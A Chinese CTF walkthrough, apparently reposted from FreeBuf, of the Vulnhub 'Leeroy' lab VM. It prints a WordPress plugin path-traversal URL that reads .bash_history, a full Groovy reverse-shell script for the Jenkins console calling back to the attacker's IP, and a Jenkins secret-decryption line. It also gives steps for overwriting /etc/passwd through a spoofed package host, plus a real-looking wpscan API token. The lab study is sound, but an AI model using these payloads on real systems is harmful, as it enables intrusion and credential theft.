Vulnhub Leeroy(提权失败求解惑) – 作者:WAFmax

Vulnhub Leeroy

基础信息

难度中等
图片.png

靶场导入

链接:https://www.vulnhub.com/entry/leeroy-1,611/
镜像可以直接导入到VMware里,导入成功运行后显示如下界面

图片.png

主机发现与端口扫描

因为靶机与kali处在同一个网段可以使用nmap进行靶机地址发现

nmap 192.168.1.0/24

靶机地址为192.168.1.104

图片.png

对地址进行详细的端口扫描
开放了5个端口

图片.png对这些端口进行访问
80端口只有一张图片没有什么其他隐藏信息

图片.png

图片.png

访问8080发现这是一个登录端口,但是目前目前没有密码不能进行登录
图片.png

访问13380端口,但是它会自动跳转到http://leeroy.htb:13380/
需要在/etc/hosts文件中添加该地址,添加之后再次进行访问就能正常访问了

图片.png

图片.png点击login in 发现这是wordpress后台可以使用wpscan进行扫描
图片.png使用wpscan枚举存在的插件

wpscan --url http://leeroy.htb:13380/ --plugins-detection aggressive --api-token d7tnzIOInzbQzYT2KPaSEQTYYXsdGC34Bq5squMS1aI

这个是个人申请的api
申请教程:https://blog.csdn.net/weixin_44628122/article/details/107250045

图片.png

发现可使用的攻击载荷
图片.png图片.png修改攻击载荷,查看jerroy用户.bash_history文件里管理员的密码

view-source:http://leeroy.htb:13380/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/leeroy/.bash_history

图片.png

使用获取到的账号密码进行登录
用户:admin
密码:z1n$AiWY40HWeQ@KJ53P

图片.png

获取shell

首先进入管理界面
图片.png然后进入编辑脚本界面
图片.png进入编辑页面知道这是一个执行groovy的页面
可以使用该语言反弹shell

String host="192.168.1.107";
int port=1234;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

图片.png

使用nc监听成功反弹shell,获取交互式shell

nc -lnvp 1234
python3 -c 'import pty;pty.spawn ("/bin/bash")'

图片.png

提权(没有成功)

进入home目录下查看能都获取有用信息
/home/leeroy/
图片.png查看user.txt发现没有权限
图片.png查看 /etc/passwd
发现jenkins
图片.png进入该目录查看credentials.xml获取新的用户与密码
因为密码是hash值需要破解
AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx
通过google查找到解密需要的语句

Y]2WZVA}KZ0SKDEUJOOAQCU.png

println( hudson.util.Secret.decrypt("{AQAAABAAAAAgXBYO0AVEoYA0D9oynQjqAa+7QnySTgsMd4BbZa9QmVexM+9KFi508EfjODn1lXhx}") )

用户:leeroy
密码:ew3@PHQiX2RtP1ra!GZs

图片.png

通过su命令切换到leeroy用户

图片.png

查看之前无法查看的user.txt,给了一串加密字符但是我没有破解出来

$XI%S~L}YJ43{ZP6S}%[DX6.png

使用sudo -l 查看是否存在可利用的信息
图片.png

进入目录查看jenkins_installer文件

图片.png

这是一个jenkins的安装过程,可以通过这个方式写入自己的用户与密码并将该用户设置为root权限
查看hosts文件并将kali的地址写入到hosts文件中,因为在执行命令更新的内容需要从kali中下载更新

图片.png通过ls命令发现需要jenkins权限进行查看

图片.png

将kali的地址写入到文件中,并添加添加Jenkins存储库

echo "192.168.1.107        pkg.jenkins.io" >> /var/lib/jenkins/hosts

图片.png

为了使Jenkins服务器正常运行,需要配置apache2服务,接下来进行apache2的配置

cd /etc/apache2/sites-available/
vi default-ssl.conf

图片.png图片.png

根据输入的内容创建所需要的目录/opt/vulnub/debain-stable/binary/
使用touch命令编辑passwd文件

图片.png

将lerroy中的passwd内容复制到我们要编辑的文件中,并在文件中添加自己创建的用户,待更新成功后执行自己写入的命令就可以获取root权限了
使用命令生成密码

mkpasswd -m sha-512   使用mkpasswd 512命令生成密码
vi passwd

这里我设置的密码是123456
图片.png

图片.png

将写好的passwd文件存入到jenkins_2.222.3_all.deb,并将改文件移动到 /opt/vulnub/debain-stable/binary/目录下
操作成功后开启apache2服务

systemctl start apache2

进入leeroy用户执行命令进行提权

sudo /usr/share/jenkins/jenkins_installer /etc/passwd

来源:freebuf.com 2021-02-15 17:18:43 by: WAFmax

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论